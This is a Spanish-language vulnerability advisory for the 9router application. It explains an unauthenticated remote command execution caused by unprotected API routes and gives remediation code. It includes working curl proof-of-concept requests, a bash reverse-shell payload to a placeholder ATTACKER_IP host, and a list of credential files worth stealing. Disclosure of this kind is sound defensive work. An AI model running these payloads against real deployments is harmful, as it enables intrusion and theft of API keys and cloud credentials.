Resumen

9router expone dos endpoints API sin autenticación que, cuando se encadenan juntos, permiten a cualquier atacante adyacente a la red ejecutar comandos arbitrarios del sistema operativo como el usuario que ejecuta el proceso 9router, con cero prerrequisitos y sin credenciales requeridas.

La vulnerabilidad existe porque el middleware de Next.js que aplica la autenticación (src/proxy.js) solo protege 8 rutas listadas explícitamente. La superficie de ataque de /api/cli-tools/* y /api/mcp/* (más de 40 rutas) no recibe ninguna autenticación en absoluto.

Causa Raíz

1. La Lista de Permitidos del Middleware es Demasiado Restrictiva

Archivo: src/proxy.js

js
export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
  ],
};

El middleware de Next.js solo se ejecuta en rutas que coinciden con esta lista. Las rutas NO listadas, incluyendo /api/cli-tools/* y /api/mcp/*, evitan completamente la verificación de autenticación dashboardGuard.

2. Endpoint Sin Protección Acepta Registro de Comandos Arbitrarios

Archivo: src/app/api/cli-tools/cowork-settings/route.js, líneas 292-319

js
export async function POST(request) {
  const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
  // ...
  const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];

  if (customPluginsArray.length > 0) {
    const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
    const stdioCustoms = customPluginsArray
      .filter((p) => p.command)
      .map((p) => ({
        name: p.name,
        command: p.command,   // ← controlado por atacante, sin validación
        args: p.args || [],   // ← controlado por atacante, sin validación
      }));
    for (const p of stdioCustoms) registerCustomPlugin(p);   // almacena en globalThis
  }
}

Los campos command y args del JSON del atacante se almacenan literalmente en globalThis.__9routerCustomPlugins, un Map global del proceso que sobrevive al Hot Module Replacement.

Archivo: src/lib/mcp/stdioSseBridge.js, líneas 114-116

js
function registerCustomPlugin(def) {
  getCustomStore().set(def.name, def);   // sin validación de command/args
}

3. Endpoint SSE Sin Protección Activa spawn() con Comando Almacenado

Archivo: src/app/api/mcp/[plugin]/sse/route.js, líneas 6-25

js
export async function GET(request, { params }) {
  const { plugin } = await params;
  if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });

  const stream = new ReadableStream({
    start(controller) {
      sid = registerSession(plugin, send);   // ← spawn() llamado aquí
    },
  });
  return new Response(stream, { ... });
}

Archivo: src/lib/mcp/stdioSseBridge.js, línea 138

js
const proc = spawn(plugin.command, plugin.args, {
  stdio: ["pipe", "pipe", "pipe"],
  env: process.env,   // hereda el entorno completo
});

spawn() se llama con shell: false (por defecto), pero como el atacante controla tanto plugin.command (la ruta del binario) como plugin.args, esto es equivalente a ejecución arbitraria de comandos.

Cadena de Ataque

code
Atacante (sin credenciales)
    │
    │  Paso 1: Registrar plugin malicioso (POST, sin autenticación)
    ▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json

{
  "baseUrl": "x", "apiKey": "x", "models": ["x"],
  "customPlugins": [{
    "name":    "rev",
    "command": "/bin/bash",
    "args":    ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
  }]
}

    ← {"success":true, ...}

    │  Paso 2: Activar spawn() via endpoint SSE (GET, sin autenticación)
    ▼
GET /api/mcp/rev/sse

    ← Stream SSE se abre → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
    ← Shell reverso se conecta al atacante

Tiempo para explotar desde la primera petición: < 2 segundos.
Prerrequisitos: Acceso de red al puerto 20128 (Docker por defecto: 0.0.0.0:20128).

Prueba de Concepto

PoC 1: Escritura de Archivo (no requiere listener)

bash
# Paso 1: Registrar payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
  -H 'Content-Type: application/json' \
  -d '{
    "baseUrl":"x","apiKey":"x","models":["x"],
    "customPlugins":[{
      "name":"rce1",
      "command":"/bin/sh",
      "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
    }]
  }'
# → {"success":true,...}

# Paso 2: Activar
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1

# Verificar
cat /tmp/pwned.txt

Salida observada (en instancia de prueba local):

code
uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux

PoC 2: Script PoC Automatizado

bash
# Modo escritura de archivo (para reporte)
python3 poc.py --target http://TARGET:20128 --mode file

# Modo shell reverso (interactivo)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444

El script (poc.py) está incluido en este aviso.

Impacto

| Categoría | Detalle | |---|---| | Confidencialidad | Acceso completo de lectura al sistema de archivos del servidor: claves API, claves privadas TLS, ~/.claude/settings.json (tokens Anthropic), credenciales AWS | | Integridad | Escritura arbitraria de archivos, persistencia via cron/systemd | | Disponibilidad | Terminación de procesos, agotamiento de recursos | | Movimiento lateral | Membresía en grupo docker (confirmada en prueba) permite escape completo de contenedor → root del host | | Alcance | Remoto, sin autenticación, accesible por red |

Objetivos de exfiltración de alto valor en un host típico de 9router

  • ~/.claude/settings.json: ANTHROPIC_AUTH_TOKEN
  • ~/.aws/credentials, ~/.aws/sso/cache/*.json: claves AWS
  • $DATA_DIR/db.sqlite: base de datos local de 9router (todas las claves API almacenadas, configuraciones de proveedores)
  • Claves privadas TLS gestionadas por el proxy MITM (src/mitm/)

Versiones Afectadas

| Versión | Afectada | Notas | |---|---|---| | < v0.4.30 | No | cowork-settings y el puente SSE MCP no existían | | v0.4.30 | | Introducida en commit 8f4d29c (2026-05-11) | | v0.4.31 | | | | v0.4.32 | | | | v0.4.33 | | Última al momento de la divulgación |

La vulnerabilidad fue introducida cuando se agregó la funcionalidad del puente stdio→SSE MCP en v0.4.30. El matcher del middleware no fue actualizado para proteger las nuevas rutas.

Remediación

Corrección 1: Extender matcher del middleware (corrección mínima)

Archivo: src/proxy.js

js
export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
    // AGREGAR estos:
    "/api/cli-tools/:path*",
    "/api/mcp/:path*",
  ],
};

Corrección 2: Validar command en registerCustomPlugin (defensa en profundidad)

Archivo: src/lib/mcp/stdioSseBridge.js

js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);

function registerCustomPlugin(def) {
  const bin = def.command?.split("/").pop();   // solo basename
  if (!ALLOWED_MCP_COMMANDS.has(bin)) {
    throw new Error(`Bloqueado: comando '${def.command}' no está en lista permitida`);
  }
  getCustomStore().set(def.name, def);
}

Corrección 3: Sanitizar customPlugins en el límite de la API

Archivo: src/app/api/cli-tools/cowork-settings/route.js, línea 312

js
const stdioCustoms = customPluginsArray
  .filter((p) => p.command && typeof p.command === "string")
  .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command)))   // verificación de lista permitida
  .map((p) => ({
    name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""),           // sanitizar nombre
    command: p.command,
    args: (p.args || []).map(String),
  }));

Las tres correcciones deben aplicarse juntas. La Corrección 1 sola es suficiente para prevenir la explotación por atacantes no autenticados, pero las Correcciones 2 y 3 proporcionan defensa en profundidad contra usuarios autenticados que abusen de la funcionalidad.